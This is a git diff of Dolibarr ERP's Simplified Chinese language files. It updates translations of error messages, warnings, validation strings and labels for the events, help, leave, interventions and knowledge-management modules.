+ErrorStockIsNotEnoughToAddProductOnProposal=产品%s的库存不足以将其添加到新提案/建议中。 ErrorFailedToLoadLoginFileForMode=无法获取模式'%s'的登录密钥。 ErrorModuleNotFound=找不到模块文件。 ErrorFieldAccountNotDefinedForBankLine=未为源行标识%s(%s)定义的会计科目值 @@ -207,14 +211,14 @@ ErrorFieldAccountNotDefinedForInvoiceLine=未为发票标识%s(%s)定义的 ErrorFieldAccountNotDefinedForLine=未为该行定义的会计科目值(%s) ErrorBankStatementNameMustFollowRegex=错误,银行对帐单名称必须遵循以下语法规则%s ErrorPhpMailDelivery=检查您是否使用了过多的收件人,并且您的电子邮件内容与垃圾邮件不相似。还请管理员检查防火墙和服务器日志文件以获取更完整的信息。 -ErrorUserNotAssignedToTask=必须为用户分配用户才能输入消耗的时间。 +ErrorUserNotAssignedToTask=必须为任务分配用户才能输入消耗的时间。 ErrorTaskAlreadyAssigned=任务已分配给用户 ErrorModuleFileSeemsToHaveAWrongFormat=模块包似乎格式错误。 -ErrorModuleFileSeemsToHaveAWrongFormat2=At least one mandatory directory must exists into zip of module: %s or %s +ErrorModuleFileSeemsToHaveAWrongFormat2=至少有一个强制性目录必须存在于模块的压缩包中: %s%s ErrorFilenameDosNotMatchDolibarrPackageRules=模块包的名称( %s )与预期的名称语法不匹配: %s ErrorDuplicateTrigger=错误,重复的触发器名称%s。已经从%s加载。 ErrorNoWarehouseDefined=错误,没有定义仓库。 -ErrorBadLinkSourceSetButBadValueForRef=您使用的链接无效。定义了付款的“来源”,但“参考”的值无效。 +ErrorBadLinkSourceSetButBadValueForRef=您使用的链接无效。付款的“来源”已定义,但“参考”的值无效。 ErrorTooManyErrorsProcessStopped=错误太多了。过程停止了。 ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=在此操作上设置增加/减少库存的选项时,无法进行批量验证(您必须逐个验证,以便您可以定义仓库以增加/减少) ErrorObjectMustHaveStatusDraftToBeValidated=对象%s必须为'草稿'状态。 @@ -222,67 +226,89 @@ ErrorObjectMustHaveLinesToBeValidated=对象%s必须有要验证的行。 ErrorOnlyInvoiceValidatedCanBeSentInMassAction=只有经过验证的发票才能使用“通过电子邮件发送”批量操作发送。 ErrorChooseBetweenFreeEntryOrPredefinedProduct=您必须选择文章是否为预定义产品 ErrorDiscountLargerThanRemainToPaySplitItBefore=您尝试申请的折扣大于剩余支付。之前将折扣分为2个较小的折扣。 -ErrorFileNotFoundWithSharedLink=找不到档案。可能是修改了共享密钥或最近删除了文件。 +ErrorFileNotFoundWithSharedLink=找不到文件,可能是共享密钥被编辑过或最近删除了文件。 ErrorProductBarCodeAlreadyExists=产品条形码%s已存在于其他产品参考中。 ErrorNoteAlsoThatSubProductCantBeFollowedByLot=Note also that using kits to have auto increase/decrease of subproducts is not possible when at least one subproduct (or subproduct of subproducts) needs a serial/lot number. -ErrorDescRequiredForFreeProductLines=对于包含免费产品的行,必须说明 +ErrorDescRequiredForFreeProductLines=对于包含免费产品的行,必须进行描述 ErrorAPageWithThisNameOrAliasAlreadyExists=The page/container %s has the same name or alternative alias that the one your try to use ErrorDuringChartLoad=Error when loading chart of accounts. If few accounts were not loaded, you can still enter them manually. ErrorBadSyntaxForParamKeyForContent=Bad syntax for param keyforcontent. Must have a value starting with %s or %s ErrorVariableKeyForContentMustBeSet=Error, the constant with name %s (with text content to show) or %s (with external url to show) must be set. -ErrorURLMustEndWith=URL %s must end %s -ErrorURLMustStartWithHttp=URL %s must start with http:// or https:// -ErrorHostMustNotStartWithHttp=Host name %s must NOT start with http:// or https:// -ErrorNewRefIsAlreadyUsed=Error, the new reference is already used -ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=Error, delete payment linked to a closed invoice is not possible. -ErrorSearchCriteriaTooSmall=Search criteria too small. -ErrorObjectMustHaveStatusActiveToBeDisabled=Objects must have status 'Active' to be disabled -ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objects must have status 'Draft' or 'Disabled' to be enabled +ErrorURLMustEndWith=网址%s必须以%s结束 +ErrorURLMustStartWithHttp=网址%s必须以 http:// 或 https:// 开始 +ErrorHostMustNotStartWithHttp=主机名称%s不能以 http:// 或 https:// 开始 +ErrorNewRefIsAlreadyUsed=错误,新参考已被使用 +ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=错误,无法删除链接到已关闭发票的付款 +ErrorSearchCriteriaTooSmall=搜索条件太小 +ErrorObjectMustHaveStatusActiveToBeDisabled=对象必须具有“启用”状态才能被停用 +ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=对象必须具有“草稿”或“停用”状态才能被启用 ErrorNoFieldWithAttributeShowoncombobox=No fields has property 'showoncombobox' into definition of object '%s'. No way to show the combolist. -ErrorFieldRequiredForProduct=Field '%s' is required for product %s -ProblemIsInSetupOfTerminal=Problem is in setup of terminal %s. -ErrorAddAtLeastOneLineFirst=Add at least one line first -ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, record is already transferred in accounting, deletion is not possible. -ErrorLanguageMandatoryIfPageSetAsTranslationOfAnother=Error, language is mandatory if you set the page as a translation of another one. -ErrorLanguageOfTranslatedPageIsSameThanThisPage=Error, language of translated page is same than this one. +ErrorFieldRequiredForProduct=产品%s必须有字段“%s” +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. +ProblemIsInSetupOfTerminal=问题在于终端%s的设置 +ErrorAddAtLeastOneLineFirst=请先至少增加一行 +ErrorRecordAlreadyInAccountingDeletionNotPossible=错误,记录已经在会计科目中转移,无法删除 +ErrorLanguageMandatoryIfPageSetAsTranslationOfAnother=错误,如果你将页面设置为另一个页面的翻译,那语言是必须的。 +ErrorLanguageOfTranslatedPageIsSameThanThisPage=错误,翻译后的页面语言与本页面相同。 ErrorBatchNoFoundForProductInWarehouse=No lot/serial found for product "%s" in warehouse "%s". ErrorBatchNoFoundEnoughQuantityForProductInWarehouse=No enough quantity for this lot/serial for product "%s" in warehouse "%s". ErrorOnlyOneFieldForGroupByIsPossible=Only 1 field for the 'Group by' is possible (others are discarded) ErrorTooManyDifferentValueForSelectedGroupBy=Found too many different value (more than %s) for the field '%s', so we can't use it as a 'Group by' for graphics. The field 'Group By' has been removed. May be you wanted to use it as an X-Axis ? -ErrorReplaceStringEmpty=Error, the string to replace into is empty -ErrorProductNeedBatchNumber=Error, product '%s' need a lot/serial number -ErrorProductDoesNotNeedBatchNumber=Error, product '%s' does not accept a lot/serial number -ErrorFailedToReadObject=Error, failed to read object of type %s -ErrorParameterMustBeEnabledToAllwoThisFeature=Error, parameter %s must be enabled into conf/conf.php to allow use of Command Line Interface by the internal job scheduler -ErrorLoginDateValidity=Error, this login is outside the validity date range +ErrorReplaceStringEmpty=错误,要替换的字符串为空 +ErrorProductNeedBatchNumber=错误,产品“%s”需要一个批号/序列号 +ErrorProductDoesNotNeedBatchNumber=错误,产品'“%s”不接受批号/序列号 +ErrorFailedToReadObject=错误,无法读取%s类型的对象 +ErrorParameterMustBeEnabledToAllwoThisFeature=错误,必须在conf/conf.php中启用参数%s以允许内部作业调度器使用命令行界面。 +ErrorLoginDateValidity=错误,此登录已超出有效日期范围 ErrorValueLength=Length of field '%s' must be higher than '%s' ErrorReservedKeyword=The word '%s' is a reserved keyword -ErrorNotAvailableWithThisDistribution=Not available with this distribution -ErrorPublicInterfaceNotEnabled=Public interface was not enabled +ErrorNotAvailableWithThisDistribution=不适用于此版本 +ErrorPublicInterfaceNotEnabled=未启用公共界面 ErrorLanguageRequiredIfPageIsTranslationOfAnother=The language of new page must be defined if it is set as a translation of another page ErrorLanguageMustNotBeSourceLanguageIfPageIsTranslationOfAnother=The language of new page must not be the source language if it is set as a translation of another page ErrorAParameterIsRequiredForThisOperation=A parameter is mandatory for this operation -ErrorDateIsInFuture=Error, the date can't be in the future -ErrorAnAmountWithoutTaxIsRequired=Error, amount is mandatory -ErrorAPercentIsRequired=Error, please fill in the percentage correctly +ErrorDateIsInFuture=错误,日期不可能在将来 +ErrorAnAmountWithoutTaxIsRequired=错误,金额为必填项目 +ErrorAPercentIsRequired=错误,请正确填写百分比 ErrorYouMustFirstSetupYourChartOfAccount=You must first setup your chart of account -ErrorFailedToFindEmailTemplate=Failed to find template with code name %s -ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Duration not defined on service. No way to calculate the hourly price. +ErrorFailedToFindEmailTemplate=无法找到代码为%s的模板 +ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=服务上没有定义持续时间。没有办法计算每小时的价格。 ErrorActionCommPropertyUserowneridNotDefined=User's owner is required ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary -CheckVersionFail=Version check fail +CheckVersionFail=版本检查失败 ErrorWrongFileName=Name of the file cannot have __SOMETHING__ in it -ErrorNotInDictionaryPaymentConditions=Not in Payment Terms Dictionary, please modify. -ErrorIsNotADraft=%s is not a draft -ErrorExecIdFailed=Can't execute command "id" -ErrorBadCharIntoLoginName=Unauthorized character in the login name -ErrorRequestTooLarge=Error, request too large +ErrorNotInDictionaryPaymentConditions=不在付款条款类别中,请编辑 +ErrorIsNotADraft=%s不是草稿 +ErrorExecIdFailed=无法执行命令”id" +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired +ErrorNotApproverForHoliday=您不是休假%s的批准人 +ErrorAttributeIsUsedIntoProduct=该属性用于一个或多个产品变体中 +ErrorAttributeValueIsUsedIntoProduct=这个属性数值被用于一个或多个产品变体中 +ErrorPaymentInBothCurrency=错误,所有金额必须输入于同一列 +ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=You try to pay invoices in the currency %s from an account with the currency %s +ErrorInvoiceLoadThirdParty=Can't load third-party object for invoice "%s" +ErrorInvoiceLoadThirdPartyKey=第三方密钥“%s”没有为发票”%s“设置 +ErrorDeleteLineNotAllowedByObjectStatus=当前对象状态不允许删除行 +ErrorAjaxRequestFailed=请求失败 +ErrorThirpdartyOrMemberidIsMandatory=第三方或合伙企业的会员是强制性的 +ErrorFailedToWriteInTempDirectory=无法写入临时目录 +ErrorQuantityIsLimitedTo=数量限制在%s +ErrorFailedToLoadThirdParty=从id=%s, email=%s, name=%s中查找/加载第三方失败 +ErrorThisPaymentModeIsNotSepa=这种付款模式不是一个银行帐户 +ErrorStripeCustomerNotFoundCreateFirst=Stripe客户没有为这个第三方设置(或设置为在Stripe方面删除的值)。先创建(或重新连接)它。 +ErrorCharPlusNotSupportedByImapForSearch=IMAP搜索无法搜索到包含字符+的发件人或收件人的字符串。 +ErrorTableNotFound=表格%s未找到 +ErrorValueForTooLow=%s的数值太低 +ErrorValueCantBeNull=%s的数值不能为空 +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings -WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Your PHP parameter upload_max_filesize (%s) is higher than PHP parameter post_max_size (%s). This is not a consistent setup. +WarningParamUploadMaxFileSizeHigherThanPostMaxSize=您的PHP参数 upload_max_filesize (%s)比PHP参数 post_max_size(%s)高。这不是一个一致的设置。 WarningPasswordSetWithNoAccount=为此成员设置了密码。但是,未创建任何用户帐户。因此,此密码已存储,但无法用于登录Dolibarr。它可以由外部模块/接口使用,但如果您不需要为成员定义任何登录名或密码,则可以从成员模块设置中禁用“管理每个成员的登录名”选项。如果您需要管理登录但不需要任何密码,则可以将此字段保留为空以避免此警告。注意:如果成员链接到用户,则电子邮件也可用作登录。 -WarningMandatorySetupNotComplete=Click here to setup mandatory parameters -WarningEnableYourModulesApplications=Click here to enable your modules and applications +WarningMandatorySetupNotComplete=点击这里设置主要参数 +WarningEnableYourModulesApplications=点击这里,启用您的模块和应用程序 WarningSafeModeOnCheckExecDir=警告,PHP的选项safe_mode设置为在此情况下命令必须在safe_mode_exec_dir之存储参数的PHP目录内宣布。 WarningBookmarkAlreadyExists=本标题或此目标(网址)书签已存在。 WarningPassIsEmpty=警告,数据库密码是空的。这是一个安全漏洞。您应该添加一个密码到您的数据库,并改变你的conf.php文件,以反映这一点。 @@ -290,7 +316,7 @@ WarningConfFileMustBeReadOnly=警告:您的服务器配置文件 (htdocs/co WarningsOnXLines=%S上的源代码行警告 WarningNoDocumentModelActivated=No model, for document generation, has been activated. A model will be chosen by default until you check your module setup. WarningLockFileDoesNotExists=Warning, once setup is finished, you must disable the installation/migration tools by adding a file install.lock into directory %s. Omitting the creation of this file is a grave security risk. -WarningUntilDirRemoved=All security warnings (visible by admin users only) will remain active as long as the vulnerability is present (or that constant MAIN_REMOVE_INSTALL_WARNING is added in Setup->Other Setup). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=即使源和目标之间金额不同进行警告,禁用。启用此功能时要小心。 WarningUsingThisBoxSlowDown=警告,使用此框会严重减慢显示该框的所有页面。 WarningClickToDialUserSetupNotComplete=即将完工的网络电话资料信息设置 (详见用户资料信息页的网络电话). @@ -302,33 +328,36 @@ WarningYourLoginWasModifiedPleaseLogin=您的登录已被修改。出于安全 WarningAnEntryAlreadyExistForTransKey=此语言的翻译密钥已存在条目 WarningNumberOfRecipientIsRestrictedInMassAction=Warning, number of different recipient is limited to %s when using the mass actions on lists WarningDateOfLineMustBeInExpenseReportRange=警告,行日期不在费用报表范围内 -WarningProjectDraft=Project is still in draft mode. Don't forget to validate it if you plan to use tasks. -WarningProjectClosed=Project is closed. You must re-open it first. -WarningSomeBankTransactionByChequeWereRemovedAfter=Some bank transaction were removed after that the receipt including them were generated. So nb of cheques and total of receipt may differ from number and total in list. -WarningFailedToAddFileIntoDatabaseIndex=Warning, failed to add file entry into ECM database index table -WarningTheHiddenOptionIsOn=Warning, the hidden option %s is on. -WarningCreateSubAccounts=Warning, you can't create directly a sub account, you must create a third party or an user and assign them an accounting code to find them in this list -WarningAvailableOnlyForHTTPSServers=Available only if using HTTPS secured connection. -WarningModuleXDisabledSoYouMayMissEventHere=Module %s has not been enabled. So you may miss a lot of event here. +WarningProjectDraft=项目仍处于草案模式。如果您计划使用任务,别忘了验证。 +WarningProjectClosed=项目已关闭,您必须首先重新打开它 +WarningSomeBankTransactionByChequeWereRemovedAfter=一些银行交易被删除后,包括这些交易在内的收据被生成。因此,支票的数量和收据的总额可能与清单上的数量和总额不同。 +WarningFailedToAddFileIntoDatabaseIndex=警告,向ECM数据库索引表添加文件条目失败 +WarningTheHiddenOptionIsOn=警告,隐藏选项%s已打开。 +WarningCreateSubAccounts=警告,您不能直接创建一个子账户,您必须创建一个第三方或一个用户,和给他们分配一个科目代码,以便在这个清单中找到他们。 +WarningAvailableOnlyForHTTPSServers=仅在使用HTTPS安全连接时可用 +WarningModuleXDisabledSoYouMayMissEventHere=模块%s尚未启用。所以您可能会在这里错过很多事件。 WarningPaypalPaymentNotCompatibleWithStrict=The value 'Strict' makes the online payment features not working correctly. Use 'Lax' instead. +WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=警告,这也将删除网站的所有现有页面/容器。您应该先导出您的网站,这样您就有一个备份,以后再重新导入。 +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=当在 "发票验证 "中设置了减少库存的选项时,自动验证功能被禁用。 # Validate -RequireValidValue = Value not valid -RequireAtLeastXString = Requires at least %s character(s) -RequireXStringMax = Requires %s character(s) max -RequireAtLeastXDigits = Requires at least %s digit(s) -RequireXDigitsMax = Requires %s digit(s) max -RequireValidNumeric = Requires a numeric value -RequireValidEmail = Email address is not valid -RequireMaxLength = Length must be less than %s chars -RequireMinLength = Length must be more than %s char(s) -RequireValidUrl = Require valid URL -RequireValidDate = Require a valid date -RequireANotEmptyValue = Is required -RequireValidDuration = Require a valid duration -RequireValidExistingElement = Require an existing value -RequireValidBool = Require a valid boolean -BadSetupOfField = Error bad setup of field -BadSetupOfFieldClassNotFoundForValidation = Error bad setup of field : Class not found for validation -BadSetupOfFieldFileNotFound = Error bad setup of field : File not found for inclusion +RequireValidValue = 数值无效 +RequireAtLeastXString = 至少需要%s个字符 +RequireXStringMax = 最多需要%s个字符 +RequireAtLeastXDigits = 至少需要%s位数字 +RequireXDigitsMax = 最多需要%s位数字 +RequireValidNumeric = 需要一个数值 +RequireValidEmail = 电子邮件地址无效 +RequireMaxLength = 长度必须不得少于%s字符 +RequireMinLength = 长度必须不得超过%s字符 +RequireValidUrl = 需要有效网址 +RequireValidDate = 需要有效日期 +RequireANotEmptyValue = 必要 +RequireValidDuration = 需要有效周期 +RequireValidExistingElement = 需要一个存在的数值 +RequireValidBool = 需要一个有效的布林值 +BadSetupOfField = 字段设置错误 +BadSetupOfFieldClassNotFoundForValidation = 字段设置错误:未找到用于验证的类 +BadSetupOfFieldFileNotFound = 字段设置错误:未找到可纳入的文件 BadSetupOfFieldFetchNotCallable = Error bad setup of field : Fetch not callable on class diff --git a/htdocs/langs/zh_CN/eventorganization.lang b/htdocs/langs/zh_CN/eventorganization.lang index 6fd538f1ad2..b8d605b7c25 100644 --- a/htdocs/langs/zh_CN/eventorganization.lang +++ b/htdocs/langs/zh_CN/eventorganization.lang @@ -17,7 +17,7 @@ # # Generic # -ModuleEventOrganizationName = Event Organization +ModuleEventOrganizationName = 活动组织 EventOrganizationDescription = Event Organization through Module Project EventOrganizationDescriptionLong= Manage the organization of an event (show, conferences, attendees or speakers, with public pages for suggestion, vote or registration) # @@ -37,7 +37,8 @@ EventOrganization=Event organization Settings=设置 EventOrganizationSetupPage = Event Organization setup page EVENTORGANIZATION_TASK_LABEL = Label of tasks to create automatically when project is validated -EVENTORGANIZATION_TASK_LABELTooltip = When you validate an organized event, some tasks can be automatically created in the project

      For example:
      Send Call for Conference
      Send Call for Booth
      Receive call for conferences
      Receive call for Booth
      Open subscriptions to events for attendees
      Send remind of event to speakers
      Send remind of event to Booth hoster
      Send remind of event to attendees +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Category to add to third-parties automatically created when someone suggests a conference EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Category to add to third-parties automatically created when they suggests a booth EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Template of email to send after receiving a suggestion of a conference. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= Conference Or Booth +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Manage the organization of an event ConferenceOrBooth = Conference Or Booth ConferenceOrBoothTab = Conference Or Booth AmountPaid = Amount paid DateOfRegistration = Date of registration ConferenceOrBoothAttendee = Conference Or Booth Attendee +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = List of suggested conferences -ListOfSuggestedBooths = List of suggested booths -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Suggest a new conference SuggestBooth = Suggest a booth ViewAndVote = View and vote for suggested events PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event PublicAttendeeSubscriptionPage = Public link for registration to this event only MissingOrBadSecureKey = The security key is invalid or missing -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = This conference starts on %s and ends on %s. ConferenceAttendeeFee = Conference attendee fee for the event : '%s' occurring from %s to %s. BoothLocationFee = Booth location for the event : '%s' occurring from %s to %s @@ -129,7 +133,7 @@ LabelOfconference=Conference label ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet DateMustBeBeforeThan=%s must be before %s DateMustBeAfterThan=%s must be after %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registration OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Application for a booth NewSuggestionOfConference=Application for a conference @@ -153,7 +158,7 @@ VoteOk = Your vote has been accepted. AlreadyVoted = You have already voted for this event. VoteError = An error has occurred during the vote, please try again. -SubscriptionOk = Your registration has been validated +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event Attendee = Attendee PaymentConferenceAttendee = Conference attendee payment @@ -161,7 +166,9 @@ PaymentBoothLocation = Booth location payment DeleteConferenceOrBoothAttendee=Remove attendee RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s EmailAttendee=Attendee email +EmailCompany=Company email EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/zh_CN/help.lang b/htdocs/langs/zh_CN/help.lang index d12483eefae..cbb65933673 100644 --- a/htdocs/langs/zh_CN/help.lang +++ b/htdocs/langs/zh_CN/help.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - help CommunitySupport=论坛/维基支持 EMailSupport=电子邮件支持 -RemoteControlSupport=网上实时/远程支持 +RemoteControlSupport=线上实时/远程支持 OtherSupport=其他支持 ToSeeListOfAvailableRessources=查看/联络可用的资源: HelpCenter=帮助中心 -DolibarrHelpCenter=Dolibarr Help and Support Center -ToGoBackToDolibarr=Otherwise, click here to continue to use Dolibarr. -TypeOfSupport=Type of support +DolibarrHelpCenter=Dolibarr帮助和支持中心 +ToGoBackToDolibarr=否则,点击这里继续使用Dolibar +TypeOfSupport=支持类型 TypeSupportCommunauty=社区(免费) TypeSupportCommercial=商业 TypeOfHelp=类型 @@ -15,9 +15,9 @@ NeedHelpCenter=需要帮助或支持? Efficiency=效率 TypeHelpOnly=只有帮助 TypeHelpDev=帮助+开发 -TypeHelpDevForm=Help+Development+Training -BackToHelpCenter=Otherwise, go back to Help center home page. -LinkToGoldMember=You can call one of the trainers preselected by Dolibarr for your language (%s) by clicking their Widget (status and maximum price are automatically updated): +TypeHelpDevForm=帮助+开发+培训 +BackToHelpCenter=否则,请返回帮助中心首页 +LinkToGoldMember=您可以通过点击小工具来呼叫Dolibarr为您的语言(%s)预先选择的教练(状态和最高价格会自动更新): PossibleLanguages=支持的语言 -SubscribeToFoundation=Help the Dolibarr project, subscribe to the foundation -SeeOfficalSupport=使用您的语言的 Dolibarr 官方支持:
      %s +SubscribeToFoundation=帮助Dolibarr项目,向基金会捐款 +SeeOfficalSupport=使用您语言的Dolibarr官方支持:
      %s diff --git a/htdocs/langs/zh_CN/holiday.lang b/htdocs/langs/zh_CN/holiday.lang index 492299e752b..73479b67fb5 100644 --- a/htdocs/langs/zh_CN/holiday.lang +++ b/htdocs/langs/zh_CN/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=人事管理 -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=月结单 MenuAddCP=新建请假请求 +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=做一个请假申请 DateDebCP=开始日期 @@ -56,6 +58,7 @@ ConfirmDeleteCP=确认删除该请假申请? ErrorCantDeleteCP=错误,您没有权限删除这个请假条。 CantCreateCP=您无权做请假条。 InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=起始日期为必选。 NoDateFin=结束日期为必选。 ErrorDureeCP=你的请假申请不在工作时间内即是说你不需要请假因为不是工作时间呀请什么假呀。 @@ -79,13 +82,22 @@ MotifCP=雷森 UserCP=用户 ErrorAddEventToUserCP=添加外部请假时出错异常。 AddEventToUserOkCP=外部请假添加成功。 +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=查看变更日志 LogCP=Log of all updates made to "Balance of Leave" -ActionByCP=Updated by +ActionByCP=更新者 UserUpdateCP=Updated for PrevSoldeCP=上一条平衡 NewSoldeCP=新建平衡 alreadyCPexist=这个期间已有请假申请了。 +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=群组 +users=用户 +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=最近变更的 %s 份请假申请 @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=大量增加假期 +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/zh_CN/interventions.lang b/htdocs/langs/zh_CN/interventions.lang index 04f905bb97f..046ea284a13 100644 --- a/htdocs/langs/zh_CN/interventions.lang +++ b/htdocs/langs/zh_CN/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=隐藏干预记录的日期字段的小时和分 InterventionStatistics=干预统计 NbOfinterventions=No. of intervention cards NumberOfInterventionsByMonth=No. of intervention cards by month (date of validation) -AmountOfInteventionNotIncludedByDefault=默认情况下,干预金额不包括在利润中(在大多数情况下,时间表用于计算花费的时间)。将选项PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT添加到1到home-setup-other以包含它们。 +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=干预身份 InterRef=干预编号 InterDateCreation=日期创建干预 @@ -66,3 +66,7 @@ RepeatableIntervention=Template of intervention ToCreateAPredefinedIntervention=To create a predefined or recurring intervention, create a common intervention and convert it into intervention template ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/zh_CN/intracommreport.lang b/htdocs/langs/zh_CN/intracommreport.lang index c3d706989ae..499f34d44cf 100644 --- a/htdocs/langs/zh_CN/intracommreport.lang +++ b/htdocs/langs/zh_CN/intracommreport.lang @@ -4,7 +4,7 @@ IntracommReportSetup = Intracommreport module setup IntracommReportAbout = About intracommreport # Setup -INTRACOMMREPORT_NUM_AGREMENT=Numéro d'agrément (délivré par le CISD de rattachement) +INTRACOMMREPORT_NUM_AGREMENT=批准号(由CISD签发) INTRACOMMREPORT_TYPE_ACTEUR=Type d'acteur INTRACOMMREPORT_ROLE_ACTEUR=Rôle joué par l'acteur INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Niveau d'obligation sur les introductions @@ -32,7 +32,7 @@ IntracommReportTitle=Preparation of an XML file in ProDouane format # List IntracommReportList=List of generated declarations IntracommReportNumber=Numero of declaration -IntracommReportPeriod=Period of nalysis +IntracommReportPeriod=Period of analysis IntracommReportTypeDeclaration=Type of declaration IntracommReportDownload=download XML file diff --git a/htdocs/langs/zh_CN/knowledgemanagement.lang b/htdocs/langs/zh_CN/knowledgemanagement.lang index e7884d5be4e..22e170ea67c 100644 --- a/htdocs/langs/zh_CN/knowledgemanagement.lang +++ b/htdocs/langs/zh_CN/knowledgemanagement.lang @@ -18,37 +18,37 @@ # # Module label 'ModuleKnowledgeManagementName' -ModuleKnowledgeManagementName = Knowledge Management System +ModuleKnowledgeManagementName = 知识管理系统 # Module description 'ModuleKnowledgeManagementDesc' -ModuleKnowledgeManagementDesc=Manage a Knowledge Management (KM) or Help-Desk base +ModuleKnowledgeManagementDesc=管理一个知识管理(KM)或服务台基础 # # Admin page # -KnowledgeManagementSetup = Knowledge Management System setup +KnowledgeManagementSetup = 知识管理系统设置 Settings = 设置 -KnowledgeManagementSetupPage = Knowledge Management System setup page 